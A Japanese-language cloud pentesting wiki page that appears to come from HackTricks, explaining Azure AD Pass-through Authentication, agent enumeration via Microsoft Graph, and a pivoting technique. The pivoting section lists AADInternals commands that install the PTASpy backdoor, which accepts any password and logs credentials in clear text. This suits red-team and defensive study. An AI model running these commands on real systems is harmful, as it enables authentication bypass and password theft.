Az - PTA - Pass-through Authentication

Reading time: 7 minutes

基本情報

From the docs: Microsoft Entra パススルー認証を使用すると、ユーザーはオンプレミスおよびクラウドベースのアプリケーションに同じパスワードでサインインできます。この機能は、ユーザーにとってより良い体験を提供し、覚えるべきパスワードが1つ減るため、ITヘルプデスクのコストを削減します。ユーザーが Microsoft Entra ID を使用してサインインすると、この機能はユーザーのパスワードをオンプレミスの Active Directory に対して直接検証します。

PTA では、アイデンティティは同期されますが、パスワードは PHS のようには同期されません。

認証はオンプレミスの AD で検証され、クラウドとの通信はオンプレミスサーバーで実行される認証エージェントによって行われます（オンプレミスの DC にある必要はありません）。

認証フロー

1. ログインするために、ユーザーはAzure ADにリダイレクトされ、ユーザー名とパスワードを送信します。
2. 資格情報は暗号化され、Azure AD のキューに設定されます。
3. オンプレミス認証エージェントがキューから資格情報を収集し、それを復号化します。このエージェントは**「パススルー認証エージェント」またはPTAエージェント**と呼ばれます。
4. エージェントはオンプレミスADに対して資格情報を検証し、応答をAzure ADに返します。応答が肯定的であれば、ユーザーのログインを完了します。

列挙

From Entra ID:

az rest --url 'https://graph.microsoft.com/beta/onPremisesPublishingProfiles/authentication/agentGroups?$expand=agents'
# Example response:
{
"@odata.context": "https://graph.microsoft.com/beta/$metadata#onPremisesPublishingProfiles('authentication')/agentGroups(agents())",
"value": [
{
"agents": [
{
"externalIp": "20.121.45.57",
"id": "4a000eb4-9a02-49e4-b67f-f9b101f8f14c",
"machineName": "ConnectSync.hacktricks-con.azure",
"status": "active",
"supportedPublishingTypes": [
"authentication"
]
}
],
"displayName": "Default group for Pass-through Authentication",
"id": "d372d40f-3f81-4824-8b9e-6028182db58e",
"isDefault": true,
"publishingType": "authentication"
}
]
}

オンプレミスサーバーでエージェントが実行されているか確認します:

Get-Service -Name "AzureADConnectAuthenticationAgent"

ピボティング

PTA エージェントが実行されているAzure AD Connect サーバーに管理者アクセスがある場合、AADInternalsモジュールを使用して、すべてのパスワードを検証するバックドアを挿入することができます（すべてのパスワードが認証に対して有効になります）：

Install-Module AADInternals -RequiredVersion 0.9.3
Import-Module AADInternals
Install-AADIntPTASpy # Install the backdoor, it'll save all the passwords in a file
Get-AADIntPTASpyLog -DecodePasswords # Read the file or use this to read the passwords in clear-text

Remove-AADIntPTASpy # Remove the backdoor

このバックドアは以下を行います：

• 隠しフォルダー C:\PTASpy を作成します
• PTASpy.dll を C:\PTASpy にコピーします
• PTASpy.dll を AzureADConnectAuthenticationAgentService プロセスに注入します

シームレスSSO

PTAを使用してシームレスSSOを利用することが可能ですが、他の悪用に対して脆弱です。詳細は以下を確認してください：

Az - Seamless SSO

参考文献

• https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-pta
• https://aadinternals.com/post/on-prem_admin/#pass-through-authentication